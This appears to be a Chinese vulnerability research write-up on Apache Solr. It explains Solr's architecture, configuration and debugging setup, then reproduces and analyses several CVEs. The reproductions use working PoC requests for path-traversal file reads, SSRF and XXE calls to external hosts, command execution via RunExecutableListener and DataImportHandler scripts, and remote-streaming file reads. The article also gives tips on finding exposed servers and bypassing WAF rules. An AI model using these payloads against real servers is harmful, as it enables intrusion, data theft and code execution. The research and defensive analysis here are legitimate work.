一、组件概述

1.关键词

企业级全文检索服务器、基于Lucene

2.一些名词

(1) 数据

结构化数据,与非结构化数据

结构化数据: 用表、字段表示的数据 数据库适合结构化数据的精确查询

半结构化数据: xml 、html

非结构化数据: 文本、文档、图片、音频、视频等

(2)**Document**

被索引的对象,索引、搜索的基本单元,一个Document由多个字段Field构成

Field

字段名name

字段值value

字段类型type FieldType(这个fieldtype也有很多属性主要两个是name 以及 class 用来存放该类型值的类名),Field中包含分析器(Analyzer)、过滤器(Filter)

(3) 索引

对列值创建排序存储,数据结构={列值、行地址} ,Luncene或者说Solr的索引的创建过程其实就是分词、存储到反向索引中

输入的是苍老师,想要得到标题或内容中包含“苍老师”的新闻列表

(4) 搜索引擎

区别于关系数据库搜索引擎专门解决大量结构化、半结构化数据、非结构化文本类数据的实时检索问题。 这种类型的搜索实时搜索数据库做不了。

(5) 搜索引擎工作原理

1、从数据源加载数据,分词、建立反向索引

2、搜索时,对搜索输入进行分词,查找反向索引

3、计算相关性,排序,输出

(5) zookeeper

zk是分布式系统中的一项协调服务。solr将zk用于三个关键操作:

1、集中化配置存储和分发

2、检测和提醒集群的状态改变

3、确定分片代表

(7) Lucene

一套可对大量结构化、半结构化数据、非结构化文本类数据进行实时搜索的专门软件。最早应用于信息检索领域,经谷歌、百度等公司推出网页搜索而为大众广知。后又被各大电商网站采用来做网站的商品搜索。现广泛应用于各行业、互联网应用。

核心构成:数据源(存储的数据)、分词器(英文比较容易,中文两个常用的 IKAnalyzer、mmseg4j主谓宾等)、反向索引(倒排索引)、相关性计算模型(例如 出现次数这个算简单的,复杂点的 可能就会加上权重,搜索引擎会提供一种或者多种)

(8) Solr中的Core

运行在Solr服务器中的具体唯一命名的、可管理、可配置的索引,一台Solr可以托管一个或多个索引。solr的内核是运行在solr服务器中具有唯一命名的、可管理和可配置的索引。一台solr服务器可以托管一个或多个内核。内核的典型用途是区分不同模式(具有不同字段、不同的处理方式)的文档

内核就是索引,为什么需要多个?因为不同的文档拥有不同的模式(字段构成、索引、存储方式),商品数据和新闻数据就是两类完全不同的数据,这就需要两个内核来索引、存储它们。

每个内核都有一个 内核实例存放目录、内核索引数据存放目录、内核配置文件(solrconfig.xml)、内核模式文件(schema.xml)

(9) Solr中的schema

包含整个架构以及字段和字段类型。用来告诉solr,被索引的文档由哪些Field组成。让solr知道集合/内核包含哪些字段、字段的数据类型、字段该索引存储。

conf/managed-schema 或者 schema.xml

(10) solrconfig.xml

此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置

(11) collection 集合

一个集合由一个或多个核心(分片)组成,SolrCloud引入了集合的概念,集合将索引扩展成不同的分片然后分配到多台服务器,分布式索引的每个分片都被托管在一个solr的内核中(一个内核对应一个分片呗)。提起SolrCloud,更应该从分片的角度,不应该谈及内核。

(12) Solr.xml

它是$ SOLR_HOME目录中包含Solr Cloud相关信息的文件。 要加载核心,Solr会引用此文件,这有助于识别它们。solr.xml 文件定义了适用于全部或多个内核的全局配置选项

(13) core.properties

代表一个核心,为每个核心定义特定的属性,例如其名称、核心所属的集合、模式的位置以及其他参数

(14) Solr配置集 configset

用于实现多个不同内核之间的配置共享

(15) requestHandler(solrconfig.xml)

请求处理程序,定义了solr接收到请求后该做什么操作。

Solr中处理外部数据都是通过http请求,对外提供http服务,每类服务在solr中都有对应的request handler接收处理数据,solr中有定义了很多内置的请求处理程序,但是我们也可以自己定义,在conf/solrconfig.xml中配置

在 conf/solrconfig.xml中,requestHandler的配置就像我们在web.xml中配置servlet-mapping(或spring mvc 中配置controller 的requestMap)一样:配置该集合/内核下某个请求地址的处理类

示例<requestHandler name=“/update" class="solr.UpdateRequestHandler" />

(16) Solr中的 文档、字段、字段分析、模式、分析器、标记器、过滤器

参阅中文文档

https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html

https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html

3.几个重要配置文件的详解

1.Solr.xml

在独立模式下,solr.xml必须驻留在solr_home(server/solr)。在SolrCloud模式下,将从ZooKeeper加载solr.xml(如果它存在),回退到solr_home。

solr.xml 文件定义了适用于全部或多个内核的全局配置选项。

<solr>标签是根元素

  • adminHandler 属性,solr默认使用org.apache.solr.handler.admin.CoreAdminHandler
  • collectionsHandler 自定义CollectingHandler的实现
  • infoHandler 自定义infoHandler实现
  • coreLoader 指定分配给此内核的线程数
  • coreRootDirectory 指定$SOLR_HOME
  • sharedLib 所有内核共享公共库目录 此目录任何jar文件都将被添加到Solr插件的搜索路径中
  • shareSchema 此属性为true的情况下,共享IndexSchema对象
  • configSetBaseDir 指定configSets目录 默认为$SOLR_HOME/configsets

<solrcloud> 定义了与SolrCloud相关的参数

  • distribUpdateConnTimeout 设置集群的connTimeout
  • distribUpdateSoTimeout 设置集群的socketTime'out
  • host 设置访问主机名称
  • hostContext url上下文路径
  • hostPort 端口
  • zkClientTimeout 连接到ZookKeeper服务器的超时时间

```<logging>````</logging>

  • class 属性 用于记录的class类,相应的jar必须存在
  • enable 是否启用日志功能

<shardHandlerFactory>分片相关

<metrics> 报告相关

2.core.properties

简单的key=value,可以这么理解,一个core.properties 就代表一个core,允许即时创建,而不用重启Solr,配置文件包含以下属性:

  • name core的名称
  • config core的配置文件名称 默认为solrconfig.xml
  • schema 核心架构文件名称 默认为schema.xml
  • dataDir core的数据目录 可以是据对路径 也可以是相对于instanceDir的路径
  • configSet configset可用于配置内核
  • properties 这个core的文件名称 可以是绝对路径也可以是相对路径
  • loadOnstartup true Solr启动时,会加载这个核心
  • ulogDir 日志的路径
  • collection 是SolrCloud的一部分
    ### 3.Schema.xml

4.Solrconfig.xml

这个文件可以说,在功能上包含了一个core处理的全部配置信息

* <luceneMatchVersion> 指定Luncene版本
* <dataDir> core的data目录  存放当前core的idnex索引文件和tlog事务日志文件
* <directoryFactory>  索引存储工厂 配置了一些存储时的参数 线程等
* <codeFactory> 编解码方式
* <indexConfig> 配置索引属性,主要与Luncene创建索引的一些参数,文档字段最大长度、生成索引时INdexWriter可使用最大线程数、Luncene是否允许文件整合、buffer大小、指定Lucene使用哪个LockFactory等
* <updateHander> 更新处理器 更新增加Document时的update对应什么处理动作在这里配置,在这里也可以自定义更新处理器
* 以及查询的相关配置
* <requestDispatcher>  请求转发器  自定义增加在这里配置
* <requestParses> 请求解析器  配置solr的请求解析行为
* <requestHandler> 请求处理器  solr通过requestHandler提供webservice功能,通过http请求对索引进行访问 可以自定义增加,在这里配置

4.概述

建立在Lucene-core之上,Luncene是一个全文检索的工具包,它不是一个完整的引擎,Solr将它打包成了一个完整的引擎服务,并对外开放基于http请求的服务以及各种API,还有一个后台管理界面。所以,它既然是基于Luncene的,所以他的核心功能逻辑就应该和Luncene一样,给它一个Docunment,Solr进行分词以及查找反向索引,然后排序输出。

Solr 的基本前提很简单。您给它很多的信息,然后你可以问它的问题,找到你想要的信息。您在所有信息中提供的内容称为索引或更新。当你问一个问题时,它被称为查询。

在一些大型门户网站、电子商务网站等都需要站内搜索功能,使用传统的数据库查询方式实现搜索无法满足一些高级的搜索需求,比如:搜索速度要快、搜索结果按相关度排序、搜索内容格式不固定等,这里就需要使用全文检索技术实现搜索功能。

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Lucene 是一个全文检索引擎工具包,它是一个 jar 包,不能独立运行,对外提供服务。Apache Solr 中存储的资源是以 Document 为对象进行存储的。NoSQL特性和丰富的文档处理(例如Word和PDF文件)。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:<uniquekey>id</uniquekey>进行描述。 Solr是一个独立的企业级搜索应用服务器,目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。

Solr可以独立运行,打包成一个war。运行在Jetty、Tomcat等这些Servlet容器中,Solr索引的实现方法很简单,用 POST 方法向Solr服务器 发送一个描述

Field 及其内容的XML文档,Solr根据xml文档添加、删除、更新索引。Solr搜索只需要发送HTTP GET 请求,然后对 Solr 返回Xml、Json等格式的查询结果进行解析,组织页面布局。Solr不提供构建UI的功能,Solr提供了一个管理界面,通过管理界面可以查询Solr的配置和运行情况。

中文文档:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html

3.使用范围及行业分布

  • 业界两个最流行的开源搜索引擎,Solr和ElasticSearch。Solr是Apache下的一个顶级开源项目。不少互联网巨头,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使用Solr。
  • fofa搜索公网资产 一万 app="APACHE-Solr"
  • GitHub Star数量 3.8k
    ## 4.重点产品特性

默认全局未授权,多部署于内网,内置zk服务

不可自动升级,需要手动升级修复漏洞

二、环境搭建、动态调试

Solr 所有版本下载地址 http://archive.apache.org/dist/lucene/solr/

1.sorl-4.2.0 环境搭建

1.1 环境搭建

下载solr-4.2.0.zip文件,解压,C:\Solr\solr-4.2.0\example\start.jar 启动

java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar

1.2 动态调试

新建idea项目

讲solr目录下所有jar包导入 lib目录下 add as library

配置远程调试

断点成功停住

当然也可以下载solr源码,idea直接打开,配置Remote,远程调试,看源码总是正规的嘛

2.Solr较高版本

2.1 环境搭建

大体同上,只不过启动时,没有了start.jar 改为bin目录下的solr.bat

./solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
solr.cmd start -p 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"

PS:这里注意一点,需要jdk8及以上 以及 solr.cmd -f -e dih 加载example 然后solr stop -p 8983 再启动,加上 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr" 要不然漏洞复现不出来

solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-8.6.3\example\example-DIH\solr"

2.2 动态调试

下载源码,配置Remote即可

2.3 PS Cloud模式下的 debug

solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
调试solr的启动过程
java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar --module=http

创建一个新的核心

在此感谢Whippet师傅!

三、源码分析

1.Apache Solr架构

(1) Request Handler

Solr 用来处理http请求处理程序的模块,无论是api又或者是web前台的,这也是我们漏洞挖掘时需要主要关注的部分

(2) Search Component

Solr的搜索组件,提供搜索功能服务。

(3) Query Parser

Solr查询解析器解析我们传递给Solr的查询,并验证查询是否存在语法错误。 解析查询后,它会将它们转换为Lucene理解的格式。

(4) Response Writer

Solr处理响应的功能模块,是为用户查询生成格式化输出的组件。Solr支持XML,JSON,CSV等响应格式。对于每种类型的响应,都有不同的响应编写器。

(5) Analyzer / tokenizer

Lucene以令牌的形式识别数据。 Apache Solr分析内容,将其划分为令牌,并将这些令牌传递给Lucene。Apache Solr中的分析器检查字段文本并生成令牌流。标记生成器将分析器准备的标记流分解为标记。

(6) Update Request Processor

每当我们向Apache Solr发送更新请求时,请求都通过一组插件(签名,日志记录,索引)运行,统称为 更新请求处理器 。此处理器负责修改,例如删除字段,添加字段等

2.目录结构

1.运行目录结构

├─bin大量的Solr控制台管理工具存在该目录下

├─contrib包含大量关于Solr的扩展

│ ├─analysis-extras该目录下面包含一些相互依赖的文本分析组件

│ ├─clustering该目录下有一个用于集群检索结果的引擎

│ ├─dataimporthandlerDIH组件,该组件可以从数据库或者其他数据源导入数据到Solr中

│ ├─dataimporthandler-extras包含了对DIH的扩展

│ ├─extraction集成Apache Tika,用于从普通格式文件中提取文本

│ ├─jaegertracer-configurator

│ ├─langid该组件使得Solr拥有在建索引之前识别和检测文档语言的能力

│ ├─ltr

│ ├─prometheus-exporter

│ └─velocity包含一个基于Velocity模板语言简单检索UI框架

├─distSolr的核心JAR包和扩展JAR包。当我们试图把Solr嵌入到某个应用程序的时候会用到核心JAR包。

│ ├─solrj-lib包含构建基于Solr的客户端时会用到的JAR包

│ └─test-framework包含测试Solr时候会用到的JAR包

├─docsSolr文档

├─exampleSolr的简单示例

│ ├─cloud

│ ├─example-DIH

│ ├─exampledocs

│ ├─files

│ └─films

├─licenses各种许可和协议

└─server本地把Solr作为服务运行的必要文件都存放在这里

├─contexts启动Solr的Jetty网页的上下文配置

├─etcJetty服务器配置文件,在这里可以把默认的8983端口改成其他的

├─libJetty服务器程序对应的可执行JAR包和响应的依赖包

│ └─ext

├─logs日志将被输出到这个文件夹

├─moduleshttp\https\server\ssl等配置模块

├─resources存放着Log4j的配置文件

├─scriptsSolr运行的必要脚本

│ └─cloud-scripts

├─solr运行Solr的配置文件都保存在这里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里 以及configsets等

│ ├─.system_shard1_replica_n1

│ ├─aaa_shard1_replica_n1

│ ├─configsets

│ │ ├─sample_techproducts_configs

│ ├─filestore

│ ├─userfiles

│ └─zoo_data

│ └─version-2

├─solr-webapp管理界面的站点就存放在这里

│ └─webapp

│ └─WEB-INF

└─tmp存放临时文件

├─jetty-0_0_0_0-8983-webapp-_solr-any-7904109470622189110.dir

2.Solr Home目录结构

单例模式下

<solr-home-directory>
   solr.xml
   core_name1/
      core.properties
      conf/
         solrconfig.xml
         managed-schema
      data/
   core_name2/
      core.properties
      conf/
         solrconfig.xml
         managed-schema
      data/

colud模式下

<solr-home-directory>/
   solr.xml
   core_name1/
      core.properties
      data/
   core_name2/
      core.properties
      data/

3.源码结构

├─binSolr控制台管理工具存在该目录下

├─contrib包含大量关于Solr的扩展 同安装目录中一样

├─corecore的核心

│ └─src

│ ├─java.org.apache.solr

│ │ ├─analysis文本分析处理类,其中没有很多核心实现,主要调用了lucene重点的核心功能

│ │ ├─apiSolr对外提供给的API(两个版本)处理包

│ │ ├─client.solrj.embeddedSolr中嵌入了jetty,这里存在Jetty的配置类以及嵌入式启动类

│ │ ├─cloudSolr在cloud模式下云的的相关处理包,包含zk相关的处理类

│ │ ├─corecore相关的处理包 solrcore solrinfo CoreDescriptor等

│ │ ├─filestore文件处理包

│ │ ├─handler请求程序处理包

│ │ │ ├─admin

│ │ │ ├─component

│ │ │ ├─export

│ │ │ ├─loader

│ │ │ ├─sql

│ │ │ └─tagger

│ │ ├─highlight solr高亮功能包

│ │ ├─index

│ │ ├─internal

│ │ ├─legacy

│ │ ├─logging日志功能处理包

│ │ ├─metrics

│ │ ├─packagemanager

│ │ ├─parser解析器包

│ │ ├─pkg

│ │ ├─query查询功能处理

│ │ ├─request请求前置处理 SolrQueryRequestBase在这里

│ │ ├─response返回数据处理

│ │ ├─restrest功能,包含restApi处理逻辑

│ │ ├─schema模式定义

│ │ ├─searchsearch功能程序处理包

│ │ │ ├─join

│ │ │ ├─mlt

│ │ │ ├─similarities

│ │ │ └─stats

│ │ ├─security安全功能处理包

│ │ ├─servletServlet Filter Wrpper拓展处理

│ │ ├─spelling

│ │ ├─store

│ │ ├─uninverting

│ │ ├─update字段索引更新处理逻辑

│ │ └─util一些工具类

│ ├─resources

│ ├─test

│ └─test-files

├─dev-docs

├─docs

├─example 示例文件

│ ├─example-DIH

│ ├─exampledocs

│ ├─files

│ └─films

├─licenses各种许可和协议

├─server本地把Solr作为服务运行的必要文件都存放在这里

├─contexts启动Solr的Jetty网页的上下文配置

├─etcJetty服务器配置文件,在这里可以把默认的8983端口改成其他的

├─libJetty服务器程序对应的可执行JAR包和响应的依赖包

│ └─ext

├─logs日志将被输出到这个文件夹

├─moduleshttp\https\server\ssl等配置模块

├─resources存放着Log4j的配置文件

├─scriptsSolr运行的必要脚本

│ └─cloud-scripts

├─solr运行Solr的配置文件都保存在这里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里 以及configsets等

├─site

├─solr-ref-guide

├─solrjsolr的客户端程序

└─webapp管理界面的站点就存放在这里

4.启动过程

避免文章太长,放到这里了https://xz.aliyun.com/t/9247

5.源码中核心类

避免文章太长,放到这里了https://xz.aliyun.com/t/9248

6.Apache Solr中的路由

路由就直接根据 "/" 或者 ":" 写死了的,没有一点兼容性,看路由无非是想看对应哪些可以访问的handler,直接去Plugins/Stats里看就行,里面对应了每个url的处理类

调试过程中一些关键位置

这里的58 是冒号:

反斜杠

下面是调试过程中的一些路由列表

四、漏洞相关

1.漏洞概览

1.1.漏洞列表

名称 编号 危害 影响版本 备注
shards参数SSRF CVE-2017-3164 高危 1.4.0-6.4.0
任意文件读取 CVE-2017-3163 高危 同3164
XXE&RCE CVE-2017-12629 高危 <7.1.0
XXE CVE-2018-1308 高危 1.2至6.6.2和7.0.0至7.2.1
XXE CVE-2018-8026 高危 6.6.4, 7.3.1
反序列化RCE CVE-2019-0192 高危 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5
RCE CVE-2019-0193 高危 < 8.2.0
RCE CVE-2019-17558 高危 5.0.0版本至8.3.1 模板注入
任意文件上传 CVE-2020-13957 高危 Solr 8.6.2 之前

1.2.漏洞分布与关联

A.分布

多为扩展组件上出现漏洞

B.关联

1.3.漏洞过去、现在、未来

2.复现及分析

2.1. CVE-2017-3163

2.1.1 复现

poc 如下

GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../a.txt&wt=filestream&generation=1 HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

复现截图

2.1.2 分析

首先我们diff 下6.4.2 和6.4.0 看一下是怎么修复的

伤心,尝试了一下绕不过去,直接是在ReplicationHandler中做了过滤,根据之前分析的Solr启动过程的处理逻辑,再结合poc的url:/solr/db/replication,可以猜到肯定会走到ReplicationHandler的handlerequest方法,所以断点直接下到这里就可

在没有修复的版本里,没有任何过滤

直接读取了文件

修复之后,针对不同系统的文件分隔符将文件名拆分成一个迭代器,如果发现 ".."存在,就返回403

2.2 CVE-2017-3164

2.2.1 复现

GET /solr/db/replication?command=fetchindex&masterUrl=http://d9rufs.dnslog.cn/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

2.2.2 分析

观察poc,path没变还是/db/replication,所以问题仍旧出在org/apache/solr/handler/ReplicationHandler.java 中,但是由于command=fetchindex,command嘚参数不同,所以会走到不同嘚处理逻辑,这里会进入最后一个

这里会开启另一个线程,进入doFetch嘚处理逻辑

最终会走到触发嘚地方

此时嘚调用栈

getLatestVersion:202, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:286, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:251, IndexFetcher (org.apache.solr.handler)
doFetch:397, ReplicationHandler (org.apache.solr.handler)
lambda$handleRequestBody$0:279, ReplicationHandler (org.apache.solr.handler)
run:-1, 939130791 (org.apache.solr.handler.ReplicationHandler$$Lambda$85)
run:-1, Thread (java.lang)

2.3CVE-2018-1308

2.3.1 复现

POC:

POST /solr/db/dataimport HTTP/1.1
Host: 192.168.170.139:8983
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
command=full-import&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E
%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:7777%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

2.3.2 分析

看请求的url就知道问题出在org.apache.solr.handler.dataimport.DataImportHandler,结合command以及dataConfig参数,很快可以定位到this.importer.maybeReloadConfiguration(requestParams, defaultParams);

跟进org.apache.solr.handler.dataimport.DataImporter#maybeReloadConfiguration方法

继续跟进org.apache.solr.handler.dataimport.DataImporter#loadDataConfig,可以发现没有任何关于XXE的防御处理

修复,这里直接看最新版本的修复,这里的commit同时也修复了CVE-2019-0193,补丁增加了

enable.dih.dataConfigParam(默认为false)只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 才会被设置为true。

2.4 CVE-2017-12629

2.4.1 复现

XXE:

http://192.168.33.144:8983/solr/db/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20"http://aaa.mryq4g.dnslog.cn">'}&wt=xml

RCE:

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198
{
  "add-listener" : {
    "event":"newSearcher",
    "name":"newlistener-1",
    "class":"solr.RunExecutableListener",
    "exe":"curl",
    "dir":"/usr/bin/",
    "args":["http://127.0.0.1:8080"]
  }
}

2.4.2 分析

XXE

其实是Lucene出现的漏洞,而Solr又是Lucenne作为核心语义分析引擎,所以受此漏洞影响,具体漏洞点在org.apache.lucene.queryparser.xml.CoreParser#parseXML

可以看见没有任何关于XMl解析XXE的防御,此时主要调用栈

parseXML:127, CoreParser (org.apache.lucene.queryparser.xml)
parse:115, CoreParser (org.apache.lucene.queryparser.xml)
parse:62, XmlQParserPlugin$XmlQParser (org.apache.solr.search)
getQuery:168, QParser (org.apache.solr.search)
prepare:160, QueryComponent (org.apache.solr.handler.component)
handleRequestBody:269, SearchHandler (org.apache.solr.handler.component)
handleRequest:166, RequestHandlerBase (org.apache.solr.handler)
execute:2306, SolrCore (org.apache.solr.core)
execute:658, HttpSolrCall (org.apache.solr.servlet)
call:464, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:296, SolrDispatchFilter (org.apache.solr.servlet)

修复,增加了XXE的通用防御

RCE:

这个都不太想调试了,问题类方法是org.apache.solr.core.RunExecutableListener#exec

官方修复呢也是直接把这个类删了

2.5 CVE-2018-8026

上传configset 解析配置文件xml时造成xxe,具体分析复现移步https://xz.aliyun.com/t/2448

具体看org.apache.solr.schema.FileExchangeRateProvider修复,都换成SafeXMLParsing了

2.6 CVE-2019-0193

2.6.1 复现

POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("calc");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

2.6.2 分析

同样是DataImportHandler出问题

进入到Dataimport功能页面,开启debug,默认给出了如下xml

<dataConfig>
    <dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />
    <document>
        <entity name="item" query="select * from item"
                deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
            <field column="NAME" name="name" />
            <entity name="feature"  
                    query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
                    deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
                    parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
                <field name="features" column="DESCRIPTION" />
            </entity>

            <entity name="item_category"
                    query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
                    deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
                    parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
                <entity name="category"
                        query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
                        deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
                        parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
                    <field column="DESCRIPTION" name="cat" />
                </entity>
            </entity>
        </entity>
    </document>
</dataConfig>

entity 标签中支持执行script,且支持jndi,也就是漏洞触发的地方,具体dataimport支持的功能参阅官方文档https://solr.apache.org/guide/8_6/uploading-structured-data-store-data-with-the-data-import-handler.html

补丁增加了

enable.dih.dataConfigParam(默认为false)只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 才会被设置为true。利用失败如下

2.7 CVE-2019-0192

2.7.1 复现

https://github.com/mpgn/CVE-2019-0192/

2.7.2 分析

Solr支持动态的更新配置,但是更新的并不是Solrconfig.xml 而是configoverlay.json

官方文档参考如下

Config API可以使用类似REST的API调用来处理您的solrconfig.xml的各个方面。
此功能默认启用,并且在SolrCloud和独立模式下的工作方式类似。许多通常编辑的属性(如缓存大小和提交设置)和请求处理程序定义可以使用此API进行更改。
使用此API时,solrconfig.xml不会更改。相反,所有编辑的配置都存储在一个名为configoverlay.json的文件中。该configoverlay.json中值覆盖solrconfig.xml中的值。

所以加载core的时候自然会加载configoverlay.json文件,问题也出在这里,精心构造的configoverlay.json可以触发org.apache.solr.core.SolrConfig的危险构造方法

public SolrConfig(SolrResourceLoader loader, String name, InputSource is) throws ParserConfigurationException, IOException, SAXException {......}

进而触发org.apache.solr.core.SolrCore#initInfoRegistry

修复,新版本直接不支持jmx

2.8 CVE-2019-17558

2.8.1 复现

2.8.2 分析

Velocity模板引擎注入首先触发的话,需要通过config api开启模板引擎开关params.resource.loader.enabled,Solr提供给管理员方便管理的配置api,正常功能,由于Solr默认安装为未授权,所以攻击者可以直接配置

再看下模板命令执行,是返回内容进行模板渲染的时候发生的代码注入

org.apache.solr.servlet.HttpSolrCall#writeResponse

org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse

最后进入到模板引擎渲染阶段org.apache.solr.response.VelocityResponseWriter#write

此时部分调用炸

write:151, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:732, HttpSolrCall (org.apache.solr.servlet)
call:473, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)

2.9 CVE-2020-13957

官方API参考文档

https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api

首先准备配置文件

docker cp c3:/opt/solr-8.2.0/server/solr/configsets/_default/conf ./

修改solrconfig.xml velocity.params.resource.loader.enabled:false 为true

目录如下

压缩为zip,通过Configset API上传到服务器

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sssconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=sssConfigSet"

配置文件上传成功

通过API创建新的collecton,或者从前台创建也可

创建成功

执行命令

其实是官方正常功能

2.10 全版本任意文件读取(官方拒绝修复)

默认安装未授权情况下,各项配置皆为默认

下载Solr最新版本

http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz

POC

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"

复现

1.第一步

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'

2.第二步

curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"

3.漏洞信息跟进

https://cwiki.apache.org/confluence/display/solr/SolrSecurity

https://issues.apache.org/jira/browse/SOLR

4.厂商防护及绕过思路

这种组件直接放内网就好了,或者一定配置身份校验,且Solr路由写的比较死,厂商提取规则时只要将url过滤完整即可,不会存在绕过情况。

绕过的话,虽然说每个漏洞url较为固定,但是每个功能的触发点皆为每个core或collection,core的名称包含在url中,且生产环境中为用户自定义,很多规则编写者通常只将示例example加入检测,可绕过几率很高。

四、个人思考

Apache Solr整体默认安装为未授权,且大部分资产都为未授权,提供众多api接口,支持未授权用户通过config api更改配置文件,攻击面较大。

五、参考链接

https://solr.apache.org/guide/8_6/

https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/

https://baike.baidu.com/item/apache%20solr

https://cwiki.apache.org/confluence/display/solr/SolrSecurity

https://www.jianshu.com/p/03b1199dec2c

https://zhuanlan.zhihu.com/p/71629409

https://issues.apache.org/jira/browse/SOLR-12770

https://xz.aliyun.com/t/8374

https://www.ebounce.cn/web/73.html

https://developer.aliyun.com/article/616505

https://www.jianshu.com/p/d3d83b6cb17c

https://www.cnblogs.com/leeSmall/p/8992708.html

https://zhouj000.github.io/2019/01/24/solr-6/

https://juejin.im/post/6844903949116391431

http://codingdict.com/article/9427

https://xz.aliyun.com/t/2448

https://xz.aliyun.com/t/1523#toc-1

https://paper.seebug.org/1009/

https://xz.aliyun.com/t/4422

